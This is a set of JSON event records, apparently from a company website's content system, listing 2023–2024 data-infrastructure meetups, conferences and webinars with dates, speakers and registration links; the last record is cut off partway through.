{"__i18n_lang":"en","_createdAt":"2023-10-30T11:32:45Z","_id":"5a884936-36e7-4de0-9ca2-2f345726832d","_rev":"K4OjmPZwqkJMmxhvodOBpP","_type":"event","_updatedAt":"2023-10-30T11:32:45Z","contentIsPage":false,"country":"ID","description":[{"_key":"b1eb2f0d84c8","_type":"block","children":[{"_key":"8976851a3173","_type":"span","marks":[],"text":"Join the Kafka-themed Open Source Data Infrastructure meetup in Jakarta, and meet with peers in the industry!"}],"markDefs":[],"style":"normal"}],"endDate":"2023-11-14T20:00:00.000Z","linkTitle":"Register","location":"Jakarta","pageType":{"_type":"eventPage","calendlyWidget":{"height":"600px"},"iframeForm":{"iframeHeight":800},"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://www.meetup.com/jakarta-open-source-data-infrastructure-meetup/events/296916100/","title":"RSVP"},"region":"APAC","startDate":"2023-11-14T16:30:00.000Z","title":"Jakarta OSDI","type":"meetup"} {"__i18n_lang":"en","_createdAt":"2023-03-22T13:07:40Z","_id":"5c7cd7c6-8739-4131-a7e5-73032d33edff","_rev":"xiZWRCvY8mGrbEYNJPQsef","_type":"event","_updatedAt":"2023-03-22T13:07:40Z","country":"IT","description":[{"_key":"eeb97fad9268","_type":"block","children":[{"_key":"173aa19798a0","_type":"span","marks":[],"text":"Join the Milan Open Source Data Infrastructure meetup for talks on Serverless, and ClickHouse, by Luca Bianchi, CTO at Neosperience, and Salvatore Mesoraca, Senior Software Engineer at Aiven."}],"markDefs":[],"style":"normal"}],"endDate":"2023-04-12T19:00:00.000Z","location":"Milan","primaryCTA":{"_type":"link","externalUrl":"https://www.meetup.com/milano-open-source-data-infrastructure-meetup/events/292063757/","title":"Join"},"region":"EMEA","startDate":"2023-04-12T16:00:00.000Z","title":"Milan OSDI","type":"meetup"} {"__i18n_lang":"en","_createdAt":"2023-10-09T13:51:44Z","_id":"5ccc3473-7e3c-44e9-8b7c-2c47fb372562","_rev":"kdSZ3lyplq7ihlwbzijM9j","_type":"event","_updatedAt":"2023-10-09T13:56:51Z","contentIsPage":false,"country":"NL","description":[{"_key":"c1397b7fb17b","_type":"block","children":[{"_key":"ec3761368124","_type":"span","marks":[],"text":"This Halloween, join the Amsterdam Open Source Data Infrastructure Meetup at Textkernel, with Boriss Mejias, Solution Architect at EDB, and Jelte Fennema-Nio, Principal Software Engineer at Microsoft."}],"markDefs":[],"style":"normal"}],"endDate":"2023-10-31T20:00:00.000Z","linkTitle":"Register","location":"Amsterdam","pageType":{"_type":"eventPage","calendlyWidget":{"height":"600px"},"iframeForm":{"iframeHeight":800},"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://www.meetup.com/amsterdam-open-source-data-infrastructure-meetup/events/296426764/","title":"RSVP"},"region":"EMEA","startDate":"2023-10-31T17:30:00.000Z","title":"Amsterdam OSDI","type":"meetup"} {"__i18n_lang":"en","_createdAt":"2024-06-14T12:04:14Z","_id":"6170c5a0-40da-4c6c-bed0-b1754b27be83","_rev":"kdgc7UFRhHqFdI6LqH33WS","_type":"event","_updatedAt":"2024-06-14T12:04:14Z","contentIsPage":false,"country":"CA","description":[{"_key":"e8549dd315ca","_type":"block","children":[{"_key":"080007b6e740","_type":"span","marks":[],"text":"Join for the July Toronto Open Source Data Infrastructure Meetup at Workhaus!"}],"markDefs":[],"style":"normal"}],"endDate":"2024-07-11T18:00:00.000Z","hideInEventPage":false,"linkTitle":"Register","location":"Toronto","pageType":{"_type":"eventPage","heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"isCaptionShown":false,"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://www.meetup.com/toronto-open-source-data-infrastructure-meetup/events/301292600/","title":"RSVP"},"region":"AMER","startDate":"2024-07-11T15:00:00.000Z","title":"Toronto OSDI","type":"meetup"} {"__i18n_lang":"en","_createdAt":"2024-01-08T13:03:46Z","_id":"6abff721-c190-4c59-86ba-3670d69cd577","_rev":"cYm7NAkc6EQoa8jfAFSZP7","_type":"event","_updatedAt":"2024-01-08T13:03:46Z","contentIsPage":false,"country":"NL","description":[{"_key":"e3f1aecce64a","_type":"block","children":[{"_key":"b5377066a3df","_type":"span","marks":[],"text":"Join for talks by Jeroen Vermeulen, Cloud Engineer at Cisco, and Matthias van de Meent, PostgreSQL hacker and Developer at Neon Inc."}],"markDefs":[],"style":"normal"}],"endDate":"2024-05-15T19:00:00.000Z","linkTitle":"Register","location":"Amsterdam","pageType":{"_type":"eventPage","calendlyWidget":{"height":"600px"},"heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"isCaptionShown":false,"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://www.meetup.com/amsterdam-open-source-data-infrastructure-meetup/events/298026810/","title":"RSVP"},"region":"EMEA","startDate":"2024-05-15T16:00:00.000Z","title":"Amsterdam OSDI","type":"meetup"} {"__i18n_lang":"en","_createdAt":"2023-10-31T10:55:07Z","_id":"6b044b03-348e-451a-b2a2-74411e3825f0","_rev":"URGvS4Je6KJVSLklv69PDV","_type":"event","_updatedAt":"2023-10-31T10:55:07Z","contentIsPage":false,"country":"FR","description":[{"_key":"1d35ed9b3d43","_type":"block","children":[{"_key":"205086d9c972","_type":"span","marks":[],"text":"Join Sebastien Blanc for his talk talk on facial recognition, and pgvector."}],"markDefs":[],"style":"normal"}],"endDate":"2023-10-31T16:00:00.000Z","linkTitle":"Register","location":"Paris","pageType":{"_type":"eventPage","calendlyWidget":{"height":"600px"},"iframeForm":{"iframeHeight":800},"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://asynconf.fr/","title":"Attend"},"region":"EMEA","startDate":"2023-10-30T08:00:00.000Z","talks":[{"_key":"fa97f37334ca","_type":"talk","description":[{"_key":"4793c95d7451","_type":"block","children":[{"_key":"33286296b898","_type":"span","marks":[],"text":"A talk on facial recognition and pgvector, in French: "}],"markDefs":[],"style":"normal"},{"_key":"c6e4ced00661","_type":"block","children":[{"_key":"87274e733416","_type":"span","marks":["35dc3d19af0f"],"text":"Slides"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"35dc3d19af0f","_type":"link","href":"https://docs.google.com/presentation/d/1coj6sBgRDcMyTWhtJoSOf4ibrbrXGaC4Oa8zdGN7V8o/edit#slide=id.p"}],"style":"normal"}],"speakers":[{"_key":"6a8f1f30169b","_ref":"8e573fc1-3cd0-4232-aea9-4e0adbc1754a","_type":"reference"}],"title":"Faire de la reconnaissance faciale avec PostgreSQL \u0026 pgvector"}],"title":"Asynconf 2023","type":"conference"} {"__i18n_lang":"en","_createdAt":"2023-08-30T11:38:15Z","_id":"6b8e5954-9a3b-40b4-8f8e-a5b39da7b74e","_rev":"OlHhyDbudqKag6cjy6NoYg","_type":"event","_updatedAt":"2023-09-26T11:48:13Z","contentIsPage":false,"country":"GB","description":[{"_key":"8f5c69ed1657","_type":"block","children":[{"_key":"6b7f1188b006","_type":"span","marks":[],"text":"Join the London Open Source Data Infrastructure meetup that we co-organize together with Weaviate. Talks on AI and a vector databases primer. "}],"markDefs":[],"style":"normal"}],"endDate":"2023-09-08T19:30:00.000Z","linkTitle":"Register","location":"London","pageType":{"_type":"eventPage","calendlyWidget":{"height":"90vh"},"iframeForm":{"iframeHeight":800}},"primaryCTA":{"_type":"link","externalUrl":"https://www.meetup.com/uk-open-source-data-infrastructure-meetup/events/295582714/","title":"RSVP"},"region":"EMEA","startDate":"2023-09-08T16:30:00.000Z","talks":[{"_key":"eeb9a0d3f9c3","_type":"talk","description":[{"_key":"351d4ac32e21","_type":"block","children":[{"_key":"6982df5cbe820","_type":"span","marks":[],"text":"Nobody likes waiting, not for taxis, not for pizza and not for answers. But matching you with the service you need is complex. Find out what's possible with real-time data and AI powered user experiences using the latest open source technology and APIs around:"}],"markDefs":[{"_key":"3a517b82092c","_type":"link","href":"https://youtu.be/zhXfKQFO3QY?si=NDNRnH0txvQfyir3"}],"style":"normal"},{"_key":"1112704130a9","_type":"block","children":[{"_key":"80fb3b6d8f34","_type":"span","marks":[],"text":"\n- "},{"_key":"9c3c43266cbf","_type":"span","marks":["3a517b82092c"],"text":"Meetup recording"}],"markDefs":[{"_key":"3a517b82092c","_type":"link","href":"https://youtu.be/zhXfKQFO3QY?si=NDNRnH0txvQfyir3"}],"style":"normal"}],"speakers":[{"_key":"045b9b20d3f7","_ref":"7973a69c-4582-41de-906f-5f5fd31f4d9c","_type":"reference"}],"title":"Real time data matching with AI"}],"title":"OSDI London","type":"meetup"} {"__i18n_lang":"en","_createdAt":"2023-09-20T11:25:39Z","_id":"6bae6728-4e83-4271-a457-b6c805ed1168","_rev":"BjY9n6joNYFLmv1rs6OLrH","_type":"event","_updatedAt":"2023-11-30T11:30:50Z","contentIsPage":false,"country":"CZ","description":[{"_key":"fe893961bbb3","_type":"block","children":[{"_key":"dfb3be649f65","_type":"span","marks":[],"text":"Join Matt Cornillon, Senior Solution Architect, for \"How I found my Pokémon cards thanks to Postgres: an AI journey\", and Francesco Tisiot for \"Finding PostgreSQL’s fit in the AI space\"."}],"markDefs":[],"style":"normal"}],"endDate":"2023-12-15T16:00:00.000Z","linkTitle":"Register","location":"Prague","pageType":{"_type":"eventPage","calendlyWidget":{"height":"600px"},"iframeForm":{"iframeHeight":800},"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://2023.pgconf.eu/","title":"Register"},"region":"EMEA","startDate":"2023-12-12T08:00:00.000Z","talks":[{"_key":"66c24bb03ed5","_type":"talk","description":[{"_key":"b70b380ea80b","_type":"block","children":[{"_key":"9c8cd83ab1a60","_type":"span","marks":[],"text":"As AI continues to become a bigger part of every company, this session will help you to make sure PostgreSQL and your implementations remain relevant on this journey."}],"markDefs":[],"style":"normal"}],"speakers":[{"_key":"0cc7c8ce29fe","_ref":"0ed302d4-35dd-4e1e-847e-03c9e41d2c10","_type":"reference"}],"title":"Finding PostgreSQL’s fit in the AI space"}],"title":"PGConf EU","type":"conference"} {"__i18n_lang":"en","_createdAt":"2024-05-11T13:10:31Z","_id":"6e3d386e-6604-421c-91bb-2c21311a1b04","_rev":"qnoh2pCVRlOXH0AEWAcVNx","_type":"event","_updatedAt":"2024-05-11T13:10:31Z","contentIsPage":false,"country":"FR","description":[{"_key":"78aab4bc2769","_type":"block","children":[{"_key":"5ad3ad242be6","_type":"span","marks":[],"text":"We're excited to support PGDay France through sponsoring the event!"}],"markDefs":[],"style":"normal"}],"endDate":"2024-06-12T15:00:00.000Z","hideInEventPage":false,"linkTitle":"Register","location":"Lille","pageType":{"_type":"eventPage","heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"isCaptionShown":false,"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://pgday.fr/partenaires","title":"Attend"},"region":"EMEA","startDate":"2024-06-11T07:00:00.000Z","title":"PGDay France","type":"conference"} {"__i18n_lang":"en","_createdAt":"2024-03-21T16:30:26Z","_id":"70eb36a8-9a13-460f-8c72-f1487924c9f7","_rev":"FsdEUX6qPquRWP6V14HAGZ","_type":"event","_updatedAt":"2024-03-21T17:05:17Z","contentIsPage":false,"country":"US","description":[{"_key":"f44a71e2cf4e","_type":"block","children":[{"_key":"46d200b6898e","_type":"span","marks":[],"text":"Join the New York Open Source Data Infrastructure meetup, with Gabriela Ferrara, Senior Database Engineer at 1Password."}],"markDefs":[],"style":"normal"}],"endDate":"2024-04-04T17:00:00.000Z","hideInEventPage":false,"linkTitle":"Register","location":"New York","pageType":{"_type":"eventPage","heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"isCaptionShown":false,"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://www.meetup.com/new-york-open-source-data-infrastructure-meetup/events/299469036/","title":"RSVP"},"region":"AMER","startDate":"2024-04-04T15:00:00.000Z","title":"NYC OSDI","type":"meetup"} {"__i18n_lang":"en","_createdAt":"2023-07-24T10:50:44Z","_id":"712ae530-f7dd-4fb0-ba22-d05326f98006","_rev":"Q21J3pgWoUWkhUhtSrLzfN","_type":"event","_updatedAt":"2023-07-24T10:50:44Z","country":"SG","description":[{"_key":"4edba1b168b5","_type":"block","children":[{"_key":"d5b901b0e7be0","_type":"span","marks":[],"text":"Join the Open Source Data Infrastructure meetup at Google Asia Pacific, Singapore, for talks by Bhanu Jamwal (PingCap) and Kaijun Xu (Google Cloud)."}],"markDefs":[],"style":"normal"}],"endDate":"2023-08-02T19:00:00.000Z","location":"Singapore","primaryCTA":{"_type":"link","externalUrl":"https://www.meetup.com/singapore-open-source-data-infrastructure-meetup/events/294569944","title":"RSVP"},"region":"APAC","startDate":"2023-08-02T16:00:00.000Z","title":"OSDI Singapore","type":"meetup"} {"__i18n_lang":"en","_createdAt":"2023-10-30T11:49:35Z","_id":"73c734bc-67c7-47a7-befb-c2478bbdb8a2","_rev":"Hl0n8vwXwRlkg63bgxJOOq","_type":"event","_updatedAt":"2023-10-30T11:49:35Z","contentIsPage":false,"country":"US","description":[{"_key":"e09c50efec93","_type":"block","children":[{"_key":"4d771cc300890","_type":"span","marks":[],"text":"Join Sergey Nuyanzin, Staff Engineer at Aiven, at Flink Forward Seattle, for his session \"On a mission of improving the Apache Calcite and Apache Flink integration\"."}],"markDefs":[],"style":"normal"}],"endDate":"2023-11-08T16:00:00.000Z","linkTitle":"Register","location":"Seattle","pageType":{"_type":"eventPage","calendlyWidget":{"height":"600px"},"iframeForm":{"iframeHeight":800},"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://www.flink-forward.org/seattle-2023","title":"Register"},"region":"AMER","startDate":"2023-11-06T08:00:00.000Z","title":"Flink Forward","type":"conference"} {"__i18n_lang":"en","_createdAt":"2023-11-06T11:07:06Z","_id":"7778aa35-3490-40f1-80e5-9bdaf9d39645","_rev":"BjY9n6joNYFLmv1rryXf1H","_type":"event","_updatedAt":"2023-11-17T10:25:54Z","contentIsPage":false,"country":"DE","description":[{"_key":"f6046c2b1812","_type":"block","children":[{"_key":"ed4331989b620","_type":"span","marks":[],"text":"Join us on November 30, at Betahaus Berlin, for talks by Yingjun Wu from Risingwave Labs and Gunnar Morling from Decodable."}],"markDefs":[],"style":"normal"}],"endDate":"2023-11-30T20:00:00.000Z","linkTitle":"Register","location":"Berlin","pageType":{"_type":"eventPage","calendlyWidget":{"height":"600px"},"heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://www.meetup.com/berlin-open-source-data-infrastructure-meetup/events/297110465/","title":"RSVP"},"region":"EMEA","startDate":"2023-11-30T17:00:00.000Z","title":"Berlin OSDI","type":"meetup"} {"__i18n_lang":"en","_createdAt":"2023-08-14T10:58:30Z","_id":"7e49993f-aa3a-4f43-93a1-3a638ae65e26","_rev":"XZCFBQN7u3p4u4Zd9H1d57","_type":"event","_updatedAt":"2023-08-14T15:29:40Z","country":"US","description":[{"_key":"e2f1a8478642","_type":"block","children":[{"_key":"cef18e6d8b700","_type":"span","marks":[],"text":"Join the Toronto Open Source Data Infrastructure meetup, September 28th, for exciting talks by speakers from Hookdeck, Instacart, and Dremio."}],"markDefs":[],"style":"normal"}],"endDate":"2023-09-28T19:00:00.000Z","location":"Toronto","primaryCTA":{"_type":"link","externalUrl":"https://www.meetup.com/toronto-open-source-data-infrastructure-meetup/events/295232489","title":"RSVP"},"region":"AMER","startDate":"2023-09-28T15:00:00.000Z","title":"OSDI Toronto","type":"meetup"} {"__i18n_lang":"en","_createdAt":"2023-05-01T15:38:07Z","_id":"7f1562cc-441d-44ee-98e9-dcd5e7b01343","_rev":"LlMsTfwmVHcho3tE1FQuB9","_type":"event","_updatedAt":"2023-06-15T12:33:46Z","country":"US","description":[{"_key":"ea76d421cb4a","_type":"block","children":[{"_key":"085b94275650","_type":"span","marks":[],"text":"Join our Developer Relations Lead Matty Stratton for his talk \"Zero Trust is For Networks, Not Your Teams\". Oh, and also for lunch \u0026 roundtable discussions!"}],"markDefs":[],"style":"normal"}],"endDate":"2023-05-24T15:35:00.000Z","location":"Chicago","primaryCTA":{"_type":"link","externalUrl":"https://gotochgo.com/2023","title":"Attend"},"region":"AMER","startDate":"2023-05-22T07:00:00.000Z","tags":[{"_key":"d4442a2ac9c8","_ref":"7333c82f-1b90-44a0-b6dc-8a4cd4fa5387","_type":"tag"}],"talks":[{"_key":"f79d3e016082","_type":"talk","description":[{"_key":"96eba9b89516","_type":"block","children":[{"_key":"56b47a13612b","_type":"span","marks":[],"text":"This talk will feature practices inspired from the field of Resilience Engineering as well as proven DevOps approaches, with a focus on how leaders and individuals can create an environment where trust is valued, encouraged, and fostered."}],"markDefs":[],"style":"normal"},{"_key":"0646ee553967","_type":"block","children":[{"_key":"b4b991f48feb","_type":"span","marks":["6afac1873945"],"text":"Link to slides"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"6afac1873945","_type":"link","href":"https://speaking.mattstratton.com/tMd2Ny"}],"style":"normal"}],"speakers":[{"_key":"16f394be1146","_ref":"36874b14-1068-41af-a5b3-810819479ef7","_type":"reference"}],"title":"Zero Trust is For Networks, Not Your Teams"}],"title":"GOTO Chicago","type":"conference"} {"__i18n_lang":"en","_createdAt":"2023-10-13T09:51:55Z","_id":"82d1775d-aa42-40c1-a517-b10e2f1fffec","_rev":"eymHymupXZZZ08HQS3bvLx","_type":"event","_updatedAt":"2023-10-13T09:51:55Z","contentIsPage":false,"country":"FI","description":[{"_key":"165b5982ee10","_type":"block","children":[{"_key":"dec722d49aed","_type":"span","marks":[],"text":"We're teaming up with the \"Real Time Data at Scale\" meetup! Join us at our offices for talks by Irori, Bolt, and PingCAP. "}],"markDefs":[],"style":"normal"}],"endDate":"2023-11-28T19:00:00.000Z","linkTitle":"Register","location":"Helsinki","pageType":{"_type":"eventPage","calendlyWidget":{"height":"600px"},"iframeForm":{"iframeHeight":800},"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://www.meetup.com/helsinki-open-source-data-infrastructure-meetup/events/296717480/","title":"RSVP"},"region":"EMEA","startDate":"2023-11-28T16:30:00.000Z","title":"Data at Scale","type":"meetup"} {"__i18n_lang":"en","_createdAt":"2023-07-31T08:45:24Z","_id":"83b9805a-8009-4941-a0c0-54c1d17a0130","_rev":"yVtK81NbbqTTUsUfKxUju2","_type":"event","_updatedAt":"2023-07-31T08:45:24Z","country":"US","description":[{"_key":"d0438d95aaa1","_type":"block","children":[{"_key":"70baf545893e","_type":"span","marks":[],"text":"We're excited to join Google Cloud Next as a Velocity sponsor. You'll find many of us there, including our leadership team. "}],"markDefs":[],"style":"normal"}],"endDate":"2023-08-31T15:00:00.000Z","location":"San Francisco","primaryCTA":{"_type":"link","externalUrl":"https://cloud.withgoogle.com/next","title":"Attend"},"region":"AMER","startDate":"2023-08-29T07:00:00.000Z","title":"Google Cloud Next","type":"conference"} {"__i18n_lang":"en","_createdAt":"2023-05-15T16:36:10Z","_id":"873bf464-c234-40a5-bd9b-6c454eb33203","_rev":"3j6PNipGH9NrGWcobmrjNK","_type":"event","_updatedAt":"2023-05-30T13:44:41Z","description":[{"_key":"01fb37b2452e","_type":"block","children":[{"_key":"08c01d9317520","_type":"span","marks":[],"text":"This is your chance to hear directly from Jonah Kowall, the VP of Product Management at Aiven, as he takes you on a journey through our dynamic platform and highlights the latest advancements we've made in the past six months. Not only will you get an exclusive look at all the exciting new features, but you'll also discover the contributions Aiven has made to open source communities like Kafka, OpenSearch, and PostgreSQL."}],"markDefs":[],"style":"normal"}],"endDate":"2023-05-30T14:00:00.000Z","person":[{"_key":"f0273f1847a8","_ref":"df2f55c4-4bde-4170-a578-f6939fff2f79","_type":"reference"},{"_key":"1b0caa4a2d17","_ref":"6e89817e-c204-41c6-baf1-47fccad2cdf5","_type":"reference"}],"primaryCTA":{"_type":"link","internalLink":{"_ref":"8884405a-0060-44b1-a6af-d5a255432faf","_type":"reference"},"title":"Register "},"startDate":"2023-05-30T13:00:00.000Z","tags":[{"_key":"c31a3c70fc45","_ref":"29ac1f18-a883-4795-be2c-db6bdec86ace","_type":"tag"},{"_key":"20a2c11ede5d","_ref":"010c153e-6cdd-435a-ac5a-7800b7380103","_type":"tag"},{"_key":"add68390fbb1","_ref":"3314b5d5-e0fa-4c8e-9f6e-a7564aa5c632","_type":"tag"}],"title":"What’s new with Aiven - Trusted open source data platform for everyone","type":"webinar","virtualEvent":true} {"__i18n_lang":"en","_createdAt":"2023-06-19T11:09:55Z","_id":"87526d7c-4854-48fa-95fe-72a880942266","_rev":"1h5Wm5PSHuci3kB9XsZzYS","_type":"event","_updatedAt":"2023-10-27T14:57:26Z","description":[{"_key":"2a4d04aa2f20","_type":"block","children":[{"_key":"dc0785643fbe0","_type":"span","marks":[],"text":"August 9 Floor Drees will be on the Path to Citus Con podcast, alongside Chelsea Dole (EDB), to talk about \"You're probably already using Postgres - now what?\". For previous episodes:"},{"_key":"92f70747d9c8","_type":"span","marks":["19be7e305029"],"text":" https://aka.ms/PathToCitusCon-playlist "}],"markDefs":[{"_key":"19be7e305029","_type":"link","href":"https://aka.ms/PathToCitusCon-playlist"}],"style":"normal"}],"endDate":"2023-08-09T18:00:00.000Z","primaryCTA":{"_type":"link","externalUrl":"https://aka.ms/open-source-discord","title":"Join the Discord"},"startDate":"2023-08-09T17:00:00.000Z","talks":[{"_key":"6cd50d8544a8","_type":"talk","description":[{"_key":"0981465ee1e4","_type":"block","children":[{"_key":"40298a2fc574","_type":"span","marks":[],"text":"Joining friends at Citus Data (Microsoft) to talk about how app developers can leverage PostgreSQL. "}],"markDefs":[],"style":"normal"},{"_key":"1f9b3e0251bd","_type":"block","children":[{"_key":"34ec4a46c5bb","_type":"span","marks":["443822d01697"],"text":"Recording and shownotes"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"443822d01697","_type":"link","href":"https://pathtocituscon.transistor.fm/episodes/youre-probably-already-using-postgres-what-you-need-to-know-with-chelsea-dole-floor-drees"}],"style":"normal"}],"speakers":[{"_key":"000a30d2991a","_ref":"7406d8d2-3acb-4a35-9f9d-1c8ce934d395","_type":"reference"}],"title":"You're probably already using Postgres - now what?"}],"title":"Path to Citus Con Ep06","type":"livestream","virtualEvent":true} {"__i18n_lang":"en","_createdAt":"2023-08-21T07:38:10Z","_id":"89b8e497-59e3-49bc-9710-fc79968a9f67","_rev":"B2qRym1lObpfgwjNwuV9mn","_type":"event","_updatedAt":"2023-08-21T07:38:10Z","country":"AU","description":[{"_key":"ee6a01d0661d","_type":"block","children":[{"_key":"27072db7852e","_type":"span","marks":[],"text":"Join Aiven's Staff Solution Architect Troy Sellers for his talk \"Anomaly detection using Apache Flink\"."}],"markDefs":[],"style":"normal"}],"endDate":"2023-08-31T15:00:00.000Z","location":"Melbourne","primaryCTA":{"_type":"link","externalUrl":"https://dataengconf.com.au/conference/melbourne/","title":"Attend"},"region":"APAC","startDate":"2023-08-31T07:00:00.000Z","title":"DataEngBytes","type":"conference"} {"__i18n_lang":"en","_createdAt":"2023-04-06T09:57:53Z","_id":"8bcf5a8c-2993-476d-ada2-16211cdcc707","_rev":"0nL3L47AjT5dLD0PEKnoOc","_type":"event","_updatedAt":"2023-10-07T16:33:28Z","country":"NL","description":[{"_key":"beb3eaae7d44","_type":"block","children":[{"_key":"cea425a275da","_type":"span","marks":[],"text":"JSNation has been the staple event for JavaScript in the Netherlands. This year again 1000+ developers will gather for the conference. "}],"markDefs":[],"style":"normal"}],"endDate":"2023-06-01T15:00:00.000Z","location":"Amsterdam","primaryCTA":{"_type":"link","externalUrl":"https://jsnation.com/","title":"Join"},"region":"EMEA","startDate":"2023-06-01T07:00:00.000Z","tags":[{"_key":"5390ea84b8d6","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"}],"talks":[{"_key":"d721fa39a3b4","_type":"talk","description":[{"_key":"f6c0f83f8f28","_type":"block","children":[{"_key":"37a71d2e87b2","_type":"span","marks":[],"text":"This session is for curious minds, who might have never worked with distributed streaming systems before, or are beginners to event streaming applications. Find the recording "},{"_key":"36af137237ed","_type":"span","marks":["6ef321959c9a"],"text":"here"},{"_key":"d3f15d0bff39","_type":"span","marks":[],"text":".\n"}],"markDefs":[{"_key":"6ef321959c9a","_type":"link","href":"https://portal.gitnation.org/contents/apache-kafka-simply-explained-with-typescript-examples"}],"style":"normal"}],"speakers":[{"_key":"8cefac30ed92","_ref":"0751a33e-612e-404f-9e77-0b5da9ec746a","_type":"reference"}],"title":"Apache Kafka simply explained with TypeScript examples"}],"title":"JSNation","type":"conference"} {"__i18n_lang":"en","_createdAt":"2023-09-03T19:37:39Z","_id":"8c4eaba6-8d89-4969-a6db-b61cec688efb","_rev":"1h5Wm5PSHuci3kB9XsXuj0","_type":"event","_updatedAt":"2023-10-27T14:52:38Z","contentIsPage":false,"description":[{"_key":"377732aa82d9","_type":"block","children":[{"_key":"c8f2c733b481","_type":"span","marks":[],"text":"Join Claude Warren and Floor Drees for their talks during the 8th annual \"ADDO\", virtually, this October!"}],"markDefs":[],"style":"normal"}],"endDate":"2023-10-27T07:00:00.000Z","linkTitle":"Register","pageType":{"_type":"eventPage","calendlyWidget":{"height":"90vh"},"iframeForm":{"iframeHeight":800}},"primaryCTA":{"_type":"link","externalUrl":"https://www.alldaydevops.com/","title":"Register for free"},"startDate":"2023-10-26T07:00:00.000Z","talks":[{"_key":"95872c59df0e","_type":"talk","description":[{"_key":"4c91b55f8009","_type":"block","children":[{"_key":"851c3f0da2fa","_type":"span","marks":[],"text":"I shared the journey of migrating from a \"mono-Organisation\" on GitHub, to three Organisations with appropriate policies and connected to our IAM platform to organizer our work in and on open source."}],"markDefs":[],"style":"normal"},{"_key":"558ddb6a093d","_type":"block","children":[{"_key":"858b4f96c645","_type":"span","marks":["087d7af38d6b"],"text":"Recording"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"087d7af38d6b","_type":"link","href":"https://www.alldaydevops.com/addo-speakers/floor-drees"}],"style":"normal"}],"speakers":[{"_key":"a363a6a440c6","_ref":"7406d8d2-3acb-4a35-9f9d-1c8ce934d395","_type":"reference"}],"title":"Scaling your work in the open - Tech is only the tip of the iceberg"}],"title":"All Day DevOps","type":"conference","virtualEvent":true} {"__i18n_lang":"en","_createdAt":"2023-01-04T12:36:28Z","_id":"8e8f0207-1eb8-4e51-9be3-78b9a32360ed","_rev":"pxdTVqM9Iazv4GeKSq38yG","_type":"event","_updatedAt":"2023-02-21T13:02:25Z","country":"BE","description":[{"_key":"42fc6e395167","_type":"block","children":[{"_key":"8666145d93f6","_type":"span","marks":[],"text":"FOSDEM 2023 is an event for developers of free and open source software from all over the world. Catch "},{"_key":"6be792547b4a","_type":"span","marks":["76c1f87871c8"],"text":"Floor Drees'"},{"_key":"721bc6b84df7","_type":"span","marks":[],"text":" and "},{"_key":"ef667592ae89","_type":"span","marks":["28853240b6fe"],"text":"Claude Warren's"},{"_key":"ee4850c0c8c5","_type":"span","marks":[],"text":" talks on Sunday, February 4. "}],"markDefs":[{"_key":"28853240b6fe","_type":"link","href":"https://fosdem.org/2023/schedule/speaker/claude_warren/"},{"_key":"76c1f87871c8","_type":"link","href":"https://fosdem.org/2023/schedule/speaker/floord/"}],"style":"normal"}],"endDate":"2023-02-05T16:00:00.000Z","location":"Brussels","primaryCTA":{"_type":"link","externalUrl":"https://fosdem.org/2023/","title":"Register here"},"region":"EMEA","startDate":"2023-02-04T08:00:00.000Z","title":"FOSDEM 2023","type":"event"} {"__i18n_lang":"en","_createdAt":"2023-08-29T12:38:07Z","_id":"9069afbd-107e-48a9-a5d2-a38e0cb0b542","_rev":"1h5Wm5PSHuci3kB9XsaDcI","_type":"event","_updatedAt":"2023-10-27T14:58:42Z","country":"BE","description":[{"_key":"6fedbe139150","_type":"block","children":[{"_key":"b10e2a3f7604","_type":"span","marks":[],"text":"Join Floor Drees for her session \"What I learned about leading a healthy project from speaking to 50+ maintainers\"."}],"markDefs":[],"style":"normal"}],"endDate":"2023-02-05T16:00:00.000Z","location":"Brussels","region":"EMEA","startDate":"2023-02-04T08:00:00.000Z","talks":[{"_key":"4730aaa5be36","_type":"talk","description":[{"_key":"a62ac8e602eb","_type":"block","children":[{"_key":"705bc7717de20","_type":"span","marks":[],"text":"I wouldn’t dare to suggest that open source is sick, but we can all do better in taking our vitamines. Collaboration between strangers is one of open source's most remarkable aspects, and we can all act as stewards for our communities. Set expectations, upgrade your onboarding, improve your contributor experience, check your dependencies, "},{"_key":"705bc7717de21","_type":"span","marks":["em"],"text":"floss"},{"_key":"705bc7717de22","_type":"span","marks":[],"text":", and prepare to repeat all that for the long haul."}],"markDefs":[],"style":"normal"},{"_key":"fca7d7879c84","_type":"block","children":[{"_key":"63e7d92cf7d3","_type":"span","marks":["a1d7e81def8d"],"text":"Notes"},{"_key":"0f11c40b4b81","_type":"span","marks":[],"text":" "}],"level":1,"listItem":"bullet","markDefs":[{"_key":"a1d7e81def8d","_type":"link","href":"https://dev.to/floord/what-i-learned-about-leading-a-healthy-project-from-speaking-to-50-maintainers-3g74"}],"style":"normal"}],"speakers":[{"_key":"4eca49188e0a","_ref":"7406d8d2-3acb-4a35-9f9d-1c8ce934d395","_type":"reference"}],"title":"What I learned about leading a healthy project from speaking to 50+ maintainers"}],"title":"FOSDEM 2023","type":"conference"} {"__i18n_lang":"en","_createdAt":"2023-05-01T15:54:39Z","_id":"94c02adb-c964-4225-bf48-69e4293e3db9","_rev":"CehdQyS8z5lmiPrCUxzKhW","_type":"event","_updatedAt":"2023-05-10T10:35:26Z","country":"DE","description":[{"_key":"c9196fc67a10","_type":"block","children":[{"_key":"910e53d69f2c","_type":"span","marks":[],"text":"Join Floor Drees for the room she's hosting at Container Days Hamburg (or any other room, really!). 